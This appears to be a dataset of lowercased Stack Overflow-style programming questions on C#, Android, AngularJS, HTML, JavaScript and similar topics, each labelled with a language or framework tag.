this   i there any quickfix already implemented,c#
c# foreach memory cache and string memory optimization <pre><code>foreach (string sn in macorserial.split(   )) {     macorserial = sn.trim();    } </code></pre>   macorserial contains a string of text (ex. aa123241  bb123431  cc1231243) separated by commas. i grab one substring and place that into the same macorserial.    this will not cause me any problems as the the foreach still will be using the <strong>original</strong> macorserial in memory.    while i think this is the most memory efficient approach  is it proper or should i just make another string with a new name such as   <pre><code>macorserialsubstring = sn.trim()  </code></pre>   i am not having any memory issues.  i just want to make sure my code is clean and concise.,c#
restrict file type for a upload  ie only to show mp3  is it possible to restrict the file upload for an form input to be only show files with the extension of mp3  like this:   <pre><code>&lt;input class= someclass  type= file  name= uploadaudio  accept= audio/mp3 /&gt; </code></pre>   because for some reason this does not work  it always seems to show other file type extensions for upload.,html
deck of cards  cant figure out how to shuffle  my code already makes the deck of cards  but how do i shuffle it  my shuffle function seems to not be working. i may also have some errors elsewhere and if you can see them please let me know. it compiles and runs but it lists the cards in order.   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;ctime&gt; #include &lt;vector&gt; using namespace std;  class card{ public:     int face;     int suit;     void setdata(int f  int s){         face = f;         suit = s;     }     string tostring(int f  int s){         static string faces[13] = { two    three    four    five    six    seven          eight    nine    ten    jack    queen    king    ace };         static string suits[4] = { clubs    spades    diamonds    hearts };         string fands = faces[f] +   of   + suits[s] +  \n ;         return fands;     } };  class deckofcards:public card{ public:     card deck[13][4];     int currentcard;      void shuffle(){         srand (time(0));         card temp[13][4]; int r  r;         for(int shuf=0; shuf&lt;52; shuf++){             for(int i=0; i&lt;13; i++){                 for(int j=0; j&lt;4; j++){                     r = rand()%13;                       r = rand()%4;                     temp[i][j] = deck[i][j];                     deck[i][j] = deck[r][r];                     deck[r][r] = temp[i][j];                 }             }         }     }      bool morecards(){         currentcard=52;         currentcard--;         if(currentcard&gt;0){             return true;         }else              return false;     }      void dealcard(){         for(int i=0; i&lt;13; i++){             for(int j=0; j&lt;4; j++){                 cout &lt;&lt; tostring(i  j);             }         }     }      deckofcards(){           for(int i=0; i&lt;13; i++){             for(int j=0; j&lt;4; j++){                 deck[i][j].setdata(face  suit);             }         }     }  };  int main(){     deckofcards mydeck;     mydeck.shuffle();     mydeck.dealcard();     return 0; } </code></pre>,c++
cannot resolve method add() when using fragment manager  even though i ve used <code>import android.support.v4.app.fragmentmanager;</code>    i got the error like this...   <blockquote>    error:(58  42) error: no suitable method found for   add(int announcementlistfragment)        method fragmenttransaction.add(int fragment string) is not applicable   (actual and formal argument lists differ in length)        method fragmenttransaction.add(int fragment) is not applicable (actual   argument announcementlistfragment cannot be converted to fragment by   method invocation conversion)        method fragmenttransaction.add(fragment string) is not applicable   (actual argument int cannot be converted to fragment by method   invocation conversion)  </blockquote>   part of my code:   <pre><code>displayfragment = getsupportfragmentmanager(); fragment = new announcementlistfragment(); displayfragment.begintransaction().add(r.id.announce_fragment fragment).commit(); </code></pre>,android
disambiguate between two constructors  when two type parameters are the same  given    <pre><code>class either&lt;a  b&gt; {      public either(a x) {}     public either(b x) {} } </code></pre>   how to disambiguate between the two constructors when the two type parameters are the same      for example  this line:   <pre><code>var e = new either&lt;string  string&gt;(  ); </code></pre>   fails with:   <blockquote>    the call is ambiguous between the following methods or properties:  program.either.either(a)  and  program.either.either(b)   </blockquote>   i know if i had given the parameters different names (e.g. <code>a a</code> and <code>b b</code> instead of just <code>x</code>)  i could use named parameters to disambiguate (e.g. <code>new either&lt;string  string&gt;(a:   )</code>). but i m interested in knowing how to solve this without changing the definition of <code>either</code>.    edit:    you <em>can</em> write a couple of smart constructors  but i m interested in knowing if the <code>either</code> s constructors can be called directly without ambiguity. (or if there are other  tricks  besides this one).   <pre><code>static either&lt;a  b&gt; left&lt;a  b&gt;(a x) {     return new either&lt;a  b&gt;(x); }  static either&lt;a  b&gt; right&lt;a  b&gt;(b x) {     return new either&lt;a  b&gt;(x); }  var e1 = left&lt;string  string&gt;(  ); var e2 = right&lt;string  string&gt;(  ); </code></pre>,c#
new function vs new function()  i saw below being used in the javascript.   <pre><code>var t = new function;//what does it mean  var t1 = new function(); </code></pre>   i also read <a href= https://developer.mozilla.org/zh-cn/docs/web/javascript/reference/global_objects/function  rel= nofollow >function</a> in mdn. doesn t found any usage like this.    i knew function is build-in object in the js. so i did some test for it . found the usage to object is not allowed. why    <pre><code>    var apple = {                 type:  macintosh                   color:  red                   getinfo: function () {                     return this.color +     + this.type +   apple ;                 }             }             var t3 = new apple;//uncaught typeerror: object is not a function index.html:58 (anonymous function) </code></pre>   what does it mean for <code>new function</code> without brackets  thanks.,javascript
how to replace a fragment with another fragment in android studio  i am trying to replace a displaynews fragment with homescreen fragment but the fragment is being adding instead of replacing in the code here    content_main.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;    &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      xmlns:tools= http://schemas.android.com/tools      android:id= @+id/content_main      android:orientation= vertical      android:layout_width= match_parent      android:layout_height= match_parent      android:paddingbottom= @dimen/activity_vertical_margin      android:paddingleft= @dimen/activity_horizontal_margin      android:paddingright= @dimen/activity_horizontal_margin      android:paddingtop= @dimen/activity_vertical_margin      app:layout_behavior= @string/appbar_scrolling_view_behavior      tools:context= com.ajitesh.newson.mainactivity      tools:showin= @layout/app_bar_main &gt;      &lt;fragment         android:id= @+id/home_fragment          android:name= com.ajitesh.newson.displaynews          android:layout_width= wrap_content          android:layout_height= wrap_content          /&gt;  &lt;/linearlayout&gt; </code></pre>   mainacitivity.class   <pre><code> @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);      fragmentclass=homescreen.class;      try {         fragment = (fragment) fragmentclass.newinstance();     } catch (exception e) {         e.printstacktrace();     }      // insert the fragment by replacing any existing fragment     fragmentmanager fragmentmanager = getsupportfragmentmanager();     fragmentmanager.begintransaction().replace(r.id.home_fragment fragment).commit(); </code></pre>   displaynews.class   <pre><code> public class displaynews extends fragment {     @override     public view oncreateview(layoutinflater inflater  viewgroup container  bundle savedinstancestate) {          return inflater.inflate(r.layout.displaynews  container  false);     } } </code></pre>   displaynews.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:orientation= vertical  android:layout_width= wrap_content      android:id= @+id/display_news      android:layout_height= wrap_content &gt;   &lt;textview     android:layout_width= wrap_content      android:layout_height= wrap_content      android:text= helllooooo /&gt; &lt;/linearlayout&gt; </code></pre>   homescreen.class   <pre><code>public class homescreen extends fragment {     @override     public view oncreateview(layoutinflater inflater  viewgroup container  bundle savedinstancestate) {          return inflater.inflate(r.layout.home_screen  container  false);     } } </code></pre>   home_screen.xml   <pre><code>    &lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:orientation= vertical  android:layout_width= match_parent      android:layout_height= match_parent &gt; &lt;textview     android:layout_width= wrap_content      android:layout_height= wrap_content      android:id= @+id/text1      android:text= this is home page /&gt;     &lt;button         android:layout_width= wrap_content          android:layout_height= wrap_content          android:text= click /&gt;  &lt;/linearlayout&gt; </code></pre>,android
how to manage elements that are the same across multiple pages  brand new to html/css  is there a way to manage recurring elements on a site such as a toolbar  for example  if i have a website with 10 pages and want to change the html for the universal toolbar  do i have to change it on all 10 pages,html
how do i import xml data into a sql server database table in windows form using c#   i wanted to display xml data into the sql server database table.<br> first  i displayed the xml data using the console application at run time  but now i want to store that xml data into the database table.<br> how can i do this     himanshu negi,asp.net
please suggest a good video playing library for android  i am looking for a good video player ( library ) for android  which would be able to play video files onto a surfaceview or something  allowing me to overlay it with my own play/pause buttons  progress bar  etc.    what library would you suggest     thanks! ;),android
how to stay on same page even i do refresh  i m developing one asp.net website. i have page which contains menu items like home aboutsus help.. like i have 5 tabs. in single page. if i click on second tab and if i do refresh agian its going to home page. how to stay on the same page even i refreshed the page. hope u understand my problem. pleas help me. thanks in advance.,asp.net
angularjs dropdown with ability to preload data based on entered filter  is there a component  like a dropdown with the ability to enter text  like autocomplete  but it will not preload all the data at once  but will try to load data based on text entered (to filter-out the rest).    say  i have 50 000 records in the database  but obviously i dont want to bring all that to the client  by providing text filter  i want to bring only the records that match the filter.,angularjs
dynamically adding css cuts down page weight   ok  this is bizaare and the only shop i ve seen do this..granted we only have 2 developers in this shop.  my boss thinks that adding css files individually to pages using a helper method makes our site more efficient because when adding the style references in the masterpage  then every page gets those styles making the site load slower.    so we have a company.css which is our main styles for stuff that is global like the main buckets such as header  footer  main  etc.    then he wants me to go into each code-behind of lets say a certain set of pages for one of our features and use a utility method we created to dynamically add the product-related style sheet to those pages.  so for instance lets say we have a reviews &amp; ratings feature.  we put all our reviews &amp; ratings related classes and ids in reviews.css.  ok great.    so for instance in the .aspx.cs pages init  we d put this:   <pre><code>util.addstylesheet( ratings.css ); </code></pre>   now he wants me to include that stylesheet in the codebehind of those pages where our reviews code touches in .aspx pages.  but says do not put a reference to reviews.css in the master page.    am i the only one who questions this method and says what s the point of having a master page then   i mean really  if you put all your .css references in your master page does the argument of saying that now all pages have all these styles (some not used because they do not relate to that page) add weight to your load time for end users     i mean common right   maybe people do this but i ve never seen it and it s a management nightmare cause you have references all over the fing place dynamically adding certain .css pages to subsets of .aspx pages.    to me  even though we are an e-commerce site that receives 1 million hits a month  please  i mean seriously adding stylesheets manually and bypassing just putting them all in a master page just boggles my mind.  am i the only one who thinks this is nuts and questions his assumption that doing that would make page weight excessive because they would be inheriting all stylesheets  some which would be wasted .css because it doesn t necessarily relate to that particular page   for me  adding them to the master page is a done deal...simple  maintainable  and who cares.    i can understand page weight with js  but .css,asp.net
how to attach code from one html file into another   so i ve been trying to figure out an easy way to update every html page.    the idea is to have one html file that holds specific code - in this case  a simple list with some href bits on it.    then have the other html files call the first document s code.    i have not been able to find a valid solution for this issue -- but i think that s due to not being able to word it correctly for searching.    thanks  -zen,html
replacing enumerate to output a string  i have written a code that reads a text file containing several paragraphs.i have used enumerate but want to replace enumerate() with a simple loop    <pre><code>file=open( file1.txt   r ) text= target  for i  line in enumerate(file  1):     if text in line:         print (i  line) </code></pre>,python
forcing a ng-src reload  how can i force angularjs to reload an image with an ng-src attribute  when the url of the image has not changed  but its contents has    <pre><code>&lt;div ng-controller= ctrl &gt;     &lt;img ng-src= {{urlprofilephoto}} &gt; &lt;/div&gt; </code></pre>   an uploadreplace service that performs a file upload  is replacing the content  of the image  but not the url.   <pre><code>app.factory( r4afact   [ $http    $q    $route    $window    $rootscope   function($http  $q  $route  $window  $rootscope) {     return {         uploadreplace: function(imgfile  profileid) {             var xhr = new xmlhttprequest()                  fd = new formdata()                  d = $q.defer();             fd.append( profileid   profileid);             fd.append( filedata   imgfile);             xhr.onload = function(ev) {                 var data = json.parse(this.responsetext);                 $rootscope.$apply(function(){                     if (data.status ==  ok ) {                         d.resolve(data);                     } else {                         d.reject(data);                     }                 });             }             xhr.open( post    /profile/replacephoto   true)             xhr.send(fd)             return d.promise;         }     } }]); </code></pre>   when the uploadreplace returns  i don t know how i can force the image to reload   <pre><code>app.controller( ctrl   [ $scope    r4afact   function($scope  r4afact){     $scope.clickreplace = function() {         r4afact.uploadreplace($scope.imgfile  $scope.pid).then(function(){             //     here i need to force to reload the imgsrc          })     } }]) </code></pre>,angularjs
horizontally center object inside div  i am trying to center a button inside a div horizontally but am having no luck:   <pre><code>var x = document.createelement( div ); // the div container x.style.backgroundcolor =  red ; x.style.width =  200px ; x.style.height =  200px ;    document.body.appendchild(x);  var y = document.createelement( input ); // the button to be centered inside div  x  y.type =  button ; y.value =  test button ; y.style.marginleft =  auto ; y.style.marginright =  auto ; x.appendchild(y); </code></pre>   i tried doing <code>y.style.textalign =  center </code>  <code> y.style.margin =  auto 0 </code>. what am i doing wrong     <a href= http://jsfiddle.net/5tffd/1/  rel= nofollow >http://jsfiddle.net/5tffd/1/</a>,javascript
how can i change the buttons or function of available buttons on a jquery dialog window after it has been loaded   so i am opening a    <pre><code>$( #someelement ).dialog({ title.......                            autoopen: false                             //......                             buttons: { ok: function() {                                    $(this).dialog( close );}                            }                             //....                          }); </code></pre>   during this time a timer is running  if the user clicks  ok  i don t want anything to occur  but if the timer has run down  i would like change the function.  i have tried the following unsuccessfully:   <pre><code>jquery( #sessiontimeoutwarningdialog ).dialog( option    buttons   {                      ok : function() {                         redirecttologin;                         jquery(this).dialog( close );                     }                 }); </code></pre>   what am i doing wrong  or how should i be handling this,javascript
how do i reset a input in python  so i have this code that basically consists of you asking questions  but i have it so the input answers the question  so you can only ask one question  then you have to reset the whole thing again and again  and i have it to ask you your name first so i want a loop that ignores that.   <pre><code>    print( hello what is your name  ) name = input() print( hello  name)  while true:     question = input( ask me anything: )     if question == ( what is love ):         print( love is a emotion that makes me uneasy  i m a inteligence not a human  name)         break     if question == ( i want a dog ):         print( ask your mother  she knows what to do  name)         break     if question == ( what is my name ):         print( your name is  name)         break </code></pre>,python
objective-c - directly call method from array of objects  i m new to objective c  and i m trying to call a method on an array (nsarray) of objects directly like this:   <pre><code>[[mypeople objectatindex: 0] setname: @ shane ]; </code></pre>   but this doesn t seem to work  and returns a warning saying  multiple methods named  setname  found     i can successfully perform the operation in this manner:   <pre><code>person* person = [mypeople objectatindex: 0]; [person setname: @ shane ]; </code></pre>   is my syntax simply incorrect in the first case  or should the second piece of code be used  or is there a better way that i m not aware of     thanks  any help is greatly appreciated,objective-c
angularjs not printing value of $event  i am using below example and it s not printing the value defined in <code>$event</code>    below is my app.js   <pre><code>var mymodule = angular.module( mymodule  []) mymodule.controller( mycontroller  function($scope){      $scope.somename =  test ;  }) </code></pre>   below is my html   <pre><code>&lt;html ng-app= mymodule &gt;  &lt;head&gt;&lt;/head&gt; &lt;body&gt;  &lt;div ng-controller= mycontroller &gt;    this is angular js {{ somename }} &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,angularjs
can a variable contain a switch of function   i ve been googling my little heart out  but i either am asking the wrong question  or it s so obscure it doesn t exists. what i would like to know is can you define a variable with a switch inside it. things to note about my knowledge of programing and on what level i would understand your answer. i m a graphic/web designer with only a little experience in js.     something like this...   <pre><code>var variable = {     switch (case) {       case  case1 :         return  something ;       case  case2 :         return  something ;       case  case3 :         return  something ;     };   }; </code></pre>   i know i could just make the switch separate and set the variable per case  but i m just wondering if this can be done. also can functions be inside variables  and  how would it be done  would it be inefficient,javascript
how to access inherited member  i have a class a and a class b like this :   <pre><code>class a { public:    a(){} };  class b : public a { public:    b() : a()    {       value = 10;    }    int value()    {       return value;    }  protected:    int value; }: </code></pre>   i have this code :   <pre><code>int main() {    a* a = new b();    // how can i access to value()   i would like to make that :    int val = a-&gt;value();    // must i cast a to b   how   } </code></pre>   thanks for your help.,c++
zooming-in the image centered around the cursor with css  i have a map image  and i want to zoom in/out when i click on it. this code below zooms it  but i want to zoom-in the image centered around the location of the cursor and make horizontal-scroll appear. how can i do it with <strong>only css</strong>     <strong><em>css</em></strong>   <pre><code>input[type=checkbox]{     display: none; }  .container img{     transition: transform 0.25s ease;     cursor: zoom-in; }  input[type=checkbox]:checked ~ label &gt; img{     -webkit-transform: scale(2);     transform: scale(2);     cursor: zoom-out; } </code></pre>   <strong><em>html</em></strong>   <pre><code>&lt;div class= container &gt;&lt;input id= zoomcheck  type= checkbox  /&gt; &lt;label for= zoomcheck &gt; &lt;img src= map.jpg  /&gt; &lt;/label&gt;&lt;/div&gt; </code></pre>,css
how can you write a scope in rails that does not capture a particular record but all others  i have this scope  it works great:   <pre><code>scope :concurrent  lambda{ |a r e| where(application_id: a  role_id: r  environment_id: e) } </code></pre>   it s used like this:   <pre><code>l = deployment.last concurrent_deployments = deployment.concurrent(l.application_id  l.role_id  l.environment_id) </code></pre>   i need to modify it so that it doesn t capture the deployment that all the concurrents are concurrent with.  so i can add a parameter  <em>i</em>   which is the id of the target.    i rewrite:   <pre><code>scope :concurrent  lambda{ |a r e i| where(application_id: a  role_id: r  environment_id: e  id: !i) } </code></pre>   this doesn t work.    how do i do this,ruby-on-rails
how to add suffix to only 1 option in angularjs select based on data variable  i have a select like this in angularjs    <pre><code>&lt;select id= contact &gt;      &lt;option value= home &gt;home - {{data.home}}&lt;/option&gt;      &lt;option value= work &gt;work - {{data.work}}&lt;/option&gt;      &lt;option value= gym &gt;gym - {{data.gym}}&lt;/option&gt; &lt;/select&gt; </code></pre>   how can i add text  preferred  to end of option based on variable <code>data.preferred</code>    <code>data.preferred</code> value is same as option s values.,angularjs
make nav bar scroll when user has zoomed in browser  delete question. no longer needed.,html
how to apply a httputility decoder  first time i ve had to use a <code>httputility</code> decoder. do i place the <code>httputility</code> at the end of this piece of code (below)  or do i create a new method and run the string through it  one other caveat the code below refers to a class name <code>utils</code>  where there is some xml parsing going on. if the solution is to create a new method would it be correct to place the <code>httputility</code> after the xml parsing      at the end of the xml parsing the method hands off the parsing to links  return links . would i then need to hand off the parsing to the <code>httputility</code>  and at the end of the <code>httputility</code> hand the result off to links  <code>utils.cs</code> is pasted below the web client code.    sorry for the lengthy question  i ve only been coding for about 8 months and haven t come across every scenario.   <pre><code> public void loadfeed()  {         //check if network and client are available         if (networkinterface.getisnetworkavailable() &amp;&amp; !string.isnullorempty(uri))         {             loadingstate = loadingstate.loading;             raisepropertychanged( loadingstate );             var wc = new webclient();             wc.downloadstringcompleted += (sender  e) =&gt;              {                 if (e.error == null)                 {                     deployment.current.dispatcher.begininvoke(() =&gt;                     {                         loadingstate = loadingstate.completed;                         feedlinks = utils.getlinksfromfeed(e.result);                         raisepropertychanged( feedlinks );                         raisepropertychanged( loadingstate );                     });                 }             };             wc.downloadstringasync(new uri(uri  urikind.absolute));         }         else         {             loadingstate = loadingstate.error;             raisepropertychanged( loadingstate );         } </code></pre>   <code>utils.cs</code>:   <pre><code>public static list&lt;link&gt; getlinksfromfeed(string xmlstring) {         list&lt;link&gt; links = null;          //try to parse result as rss feed         xdocument doc = xdocument.parse(xmlstring);         //grab default namespace         xnamespace xname = doc.root.getdefaultnamespace();         //parse items         links = (from item in doc.descendants(xname +  item )                  select new link                  {                      title = item.element(xname +  title ).value                       url = item.element(xname +  link ).value                   }).tolist&lt;link&gt;();          return links; } </code></pre>,c#
getting angular to play well with cluetip (a jquery plugin)  i ve got some example code in plunkr that has two issues (i know of).  the first  is i can not get the cluetip code to run in the ng-repeater loop  and the other (which is what i really thought would be the issue) is that i can t figure out how to have the {{ mynum }} evaluate in the ajax5.html template that gets loaded.  i have the plnkr example here:  <a href= http://plnkr.co/edit/sq5et630d3gvwycej9te p=preview  rel= nofollow >http://plnkr.co/edit/sq5et630d3gvwycej9te p=preview</a> and the code in the plnkr.      using ajax.html as template   <pre><code>  &lt;br/&gt;   &lt;br/&gt;   &lt;div ng-repeat= mynum in myarray &gt;     &lt;br/&gt;   &lt;a style=   title=   class= basic  href= ajax.html  rel= ajax5.html &gt;using ajax.html as template&lt;/a&gt;     &lt;br/&gt;     &lt;a id=myid{{mynum}} style=   title=   class= basic  href= ajax.html  rel= ajax5.html &gt;this is link number {{mynum}}&lt;/a&gt;     &lt;br/&gt;     &lt;br/&gt;    &lt;/div&gt;  &lt;hr/&gt;   &lt;input ng-model= somedata  placeholder= some data &gt;   &lt;br/&gt;{{ somedata }}    &lt;br/&gt;   &lt;br/&gt;   &lt;a class= title  href= #  title= this is the title| somedata: {{ somedata }} .|in this case  the delimiter is a pipe &gt;in line text&lt;/a&gt;   &lt;br/&gt;   &lt;br/&gt;   &lt;a class= nottitle  href= #  title= this is the title| somedata: {{ somedata }} .|in this case  the delimiter is a pipe &gt;in line text&lt;/a&gt;   &lt;br/&gt;    &lt;script type= application/javascript &gt;     $(function() {       $( a.title ).cluetip({         splittitle:  |        });     });      $( a.basic ).cluetip();      $( #myid1 ).cluetip();     $( #myid2 ).cluetip();     $( #myid3 ).cluetip();   &lt;/script&gt; </code></pre>   ...   <pre><code>var app = angular.module( plunker   []); app.controller( mainctrl   function($scope) {   $scope.somedata =  somevalue ;   $scope.myarray = [1 2 3]; }); </code></pre>,angularjs
arm decompiler available for iphone  is there any iphone arm based decompiler available,iphone
return to the main app which launched my custom app  my app handles certain file types  like pdf. when pdf files are encountered in other apps say mobile safari  it lists my app in the  open-with  list. if my app is chosen to handle the pdf file  how do i get back to the main app  mobile safari in this case  after i am done with the task      in general  how do i fall back to the main app from where my app was started/launched   is there some way to notify them to resume  after i am done,iphone
how to keep triggered div expanded while hovering   so i have a setup where hovering over a div triggers a separate div to expand. i have it working as expected  but i’ve run into some difficulties.    <strong>here is a working example: <a href= http://jsfiddle.net/9rshl6hk/  rel= nofollow >http://jsfiddle.net/9rshl6hk/</a></strong>   <hr>   two issues:   <ul> <li>if you quickly hover back and forth over all the button# divs  then a queue builds up. it works fine on a per-button basis  but breaks down when quickly hovering over multiple elements.</li> <li>this one is a bit tricky to explain. basically i’d like to move the mouse into the expanded submenu div and not have it immediately shrink. enhanced description below.</li> </ul>   <em>(hoping to achieve: once the mouse leaves the ‘button 1’ div  then the ‘submenu 1’ div will stay expanded. but it will stay expanded only as long as the mouse still hovers within the ‘submenu 1’ div. basically just extending the properties of the ‘button 1’ div into the ‘submenu 1’ so that it can remain open like you’d expect with any typical button/submenu setup.)</em>   <hr>   jquery   <pre><code>$( #button1 ).data( panelid    #submenu1 ); $( #button2 ).data( panelid    #submenu2 ); $( #button3 ).data( panelid    #submenu3 );  $( #button1  #button2  #button3 ).hover(function() {     var first = true;     var panelid = $(this).data( panelid );     $( .chain ).not(panelid).slideup(function() {         if (first) {             first = false;             $(panelid).stop().slidetoggle(400);         }     }); }); </code></pre>  <hr>   html   <pre><code>&lt;div id= button1 &gt;button 1&lt;/div&gt; &lt;div id= button2 &gt;button 2&lt;/div&gt; &lt;div id= button3 &gt;button 3&lt;/div&gt;  &lt;div id= submenu1  class= chain &gt;submenu 1&lt;/div&gt; &lt;div id= submenu2  class= chain &gt;submenu 2&lt;/div&gt; &lt;div id= submenu3  class= chain &gt;submenu 3&lt;/div&gt; </code></pre>  <hr>   css   <pre><code>#button1 #button2 #button3 {     display:inline;     background-color:lightblue;     margin:2px;     font-size:30px; }  .chain {display:none;}  #submenu1 {     background:red;     width:200px;     height:100px; } #submenu2 {     background:blue;     width:300px;     height:200px; } #submenu3 {     background:orange;     width:400px;     height:300px; } </code></pre>,jquery
php: get all parameters from the url without the file id  i want to extract all used parameters of a link as a text string. example:   <pre><code>$link2 = http://example.com/index.html song=abcdefg; </code></pre>   when using the above link <code>$param</code> should give out all the parameters   song=abcdefg . unfortunately i do not know the id <code>index.html</code> nor the parameters and their respective data values.    as much as i am informed there is the function <code>$_get</code>  which creates an array  but i need a string.,php
link to another site begins from main site  do you know how to fix next issue  for that go please to <a href= http://11klassniki.ru/school_post.php id_school=2639  rel= nofollow >http://11klassniki.ru/school_post.php id_school=2639</a> and click on the link официальный сайт: tsarevo-zaimishe-sosh.edusite.ru and you will be transfer to <a href= http://11klassniki.ru/tsarevo-zaimishe-sosh.edusite.ru  rel= nofollow >http://11klassniki.ru/tsarevo-zaimishe-sosh.edusite.ru</a>.  i don t know why but link begins from main site.    if i would change link in database and add  http://  i didn t cause any problem.    of course  i can add  http://  to next code:   <pre><code>if (!empty($myrow_vuz [ site ])) { printf ( &lt;p class= town &gt;official site: &lt;span class= town_name &gt; &lt;noindex&gt;&lt;a href= %s  target =  _blank  rel= nofollow &gt;%s&lt;/a&gt;&lt;/noindex&gt;&lt;/span&gt;&lt;/p&gt;    $myrow_vuz[ site ]  $myrow_vuz[ site ]); } </code></pre>   but i have many links in database which begins from http:// already.,html
how to use linked server with stored procedure   anyone have an idea about how to use  to view a stored procedure on a linked server   i don t have the credentials to that linked server to look at it.,mysql
define which type is inserted string or int  how to define which type of variable is typed in text field  i wish to type something inside text field when you press on <strong>search</strong> button depending on type it should show you different results from database!    <pre><code>if(numbers 0-9){    //do something }   else if (letters a-z){    //do something else } </code></pre>   how to do that in javascript,javascript
convert datetime.now from one utc time zone to another  sample scenario:    i have a server in time zone +13.00 (for instance)  and my users work in time zone +2.00.    how can i cause:   <pre><code>datetime.now </code></pre>   called on ther server to return a time that is in utc +2.00   (or convert datetime.now result to +2.00 time zone),.net
java pattern for extending list for gui usage  i have a non-gui-component that internally maintains a list of objects  creating/deleting elements as needed.    this class s internal list should now get it s own swing jtable based view with drag/drop resorting and deleting abilities. also the view should be automatically updated if an element is added to the list from inside the non-gui-component.    should the list of the non-gui-component be made a new class extending abstracttablemodel and ultimately used as such  or is there a pattern in java that allows me to keep the non-gui-component gui-agnostic and achieve this goal,java
horizontal uitableviewcell iphone  i want to scrolling horizontal uitableview  in iphone   or how to create custom horizontal scrolling uitableviewcell and added with uitableview   please  i really need this.or anyother controls that shows 10 columns per row in uitableview .     my data size is out of the screen for each row i dont want to fold it .so how can i increase the tableview size horizontally   is it possible   i want to show 11 columns per each row in uitableview. now i can able to create 5 columns per each row.     thanks in advance.... if possible give some sample code .,iphone
angularjs $scope not showing on ng-repeat - works in local but not in live  i have a solution that suddenly stopped showing  data  it’s a simple but effective  script which does the job without any problems  my local version in my pc works as expected but in the live version  the same  code it’s not showing the $scope.links  which i have the data and use ng-repeat to  doesn’t show the code contained in it <br> i have even used {{links | json}} to visualize if data is passing through  everything i do works in my local version but in the live version  it doesn’t(it doesn t show error either  just show empty html  spaces)   checking in the network to verify if data is flowing  it does !.  only the $scope for some reason it’s not showing. i have tried many things like even upgrade the angular version  but the same problems persist     any help will be greatly appreciated     <pre><code>var app = angular.module( app   [ angucomplete ]).     controller( navbarcontroller   function($scope  $http) {   $scope.breadcrumbs = []; $scope.links = [];  $http.get( /api/source ).success(function(data) {      $scope.nav = data;     $scope.links = data.sub;   }); </code></pre>   });   <pre><code>&lt;body data-ng-app= app &gt;  &lt;section&gt;     &lt;div data-ng-controller= navbarcontroller &gt;          &lt;ul&gt;             &lt;li data-ng-repeat= item in links  class= {{item.link.classname}} {{item.link.imageurl ===       no-image  :   }} &gt;                 &lt;a href= {{item.link.url}}  ng-click= clicknavigation(item); $event.preventdefault(); &gt;                     &lt;span&gt;{{item.link.name}}&lt;/span&gt;                 &lt;/a&gt;             &lt;/li&gt;         &lt;/ul&gt;       &lt;/div&gt; &lt;/section&gt;  &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js &gt;&lt;/script&gt; </code></pre>,angularjs
angularjs directive with controller  i am attempting to write a directive with it s own controller.    <pre><code>myapp.directive( imageuploadifive   function (creategal) {     return {         restrict:  a           controller: function($scope)         {             //create gallery             $scope.created = creategal.creategal();             $scope.created.then(function(creategal){                 $scope.gallery.id = creategal.created_id;                 console.log($scope.gallery.id);//returning after the link function             });              $scope.gallery.galleryname =  new image gallery ;         }          link: function($scope  element  attrs)         {         var id = $scope.gallery.id;         console.log(id);             $(element).uploadifive({                  uploadscript   :  /beta/images/upload                    buttonclass    :  uploadifive-button btn btn-primary                    queueid        :  imagegallery_queue                    buttontext     :  select files                    filesizelimit  : 500                   formdata  : {                      galleryid  : id                 }                   onerror : function(errortype)                 {                     alert( there was a problem );                 }                   onupload : function()                 {                 }             });         }     }; }); </code></pre>   this directive is called with a modal and the //create gallery is generating an id for the uploader js. what i don t understand is the link: function is running and returning undefined before the controller. any guidance on this would be appreciated.    thanks,angularjs
placing textfield in actionsheet  is it possible to place a text field in actionsheet  i try this code:   <pre><code>uiactionsheet *menu = [[uiactionsheet alloc] initwithtitle:nil                                                        delegate:self                                              cancelbuttontitle:@ ok                                          destructivebuttontitle:nil                                              otherbuttontitles:nil];      uitextfield *pickerview_freq_payment = [[uitextfield alloc] init];      [menu addsubview:pickerview_freq_payment];     [menu showinview:self.view];        [menu sendsubviewtoback:pickerview_freq_payment];          [menu setbounds:cgrectmake(0 0 320  300)];      cgrect pickerrect = pickerview_freq_payment.bounds;      pickerview_freq_payment.bounds = pickerrect;      [pickerview_freq_payment release];     [menu release]; </code></pre>   but it doesn t show any text field. i found information on displaying buttons in actionsheet  but i need to place text fields instead of buttons.    how can i do this  can anyone please help me,iphone
i want to get all login user list at welcome user page so how would i do that   i  want to get all login user list at welcome user page .show each user can see the login user list.for that i have created a session [ username ] in login page and after that i want to use that sesion in session start method of asax and i want to retrieve all  the login users and store it into application scope and i also want to remove and insert users on login and logout page.so i am not getting a way how would i do that .because i am new to the concept called global asax file                                                          thanks,asp.net
how to make a settimeout call to same function from within an anonymous function  <pre><code> (function () {         if (some scripts loaded) {             otherfunction();         } else {             window.settimeout(  call_self_again_here    100);         }     })(); </code></pre>   how to  call anonymous function from within anonymous function,javascript
unix time in decimals in c  how can i get unix time in decimals in c  like python does that     what i have in c using <a href= http://bytes.com/topic/c/answers/221083-how-show-unix-time-c  rel= nofollow >http://bytes.com/topic/c/answers/221083-how-show-unix-time-c</a>   <pre><code>me@laptop$ ./time  1299556464 </code></pre>   what i want and it works in python:   <pre><code>&gt;&gt;&gt; time.time() 1299556249.3973091 </code></pre>,c
is the jobscheduler api over engineering for an alarm clock app   so the job scheduler api is for tasks at a later time. it seems as if these tasks are meant to be like downloading from the internet at a certain time or whatever. i simply want to make an alarm clock app. would this be over engineering     what are the components necessary to activate and set an alarm at a later date  i want to be able to have my app set the alarm and activate it  not rely on another alarm clock app    edit:    according to <a href= http://www.vogella.com/tutorials/androidtaskscheduling/article.html  rel= nofollow >http://www.vogella.com/tutorials/androidtaskscheduling/article.html</a> it seems as if alarmmanager is outdated and jobscheduler is its replacement,android
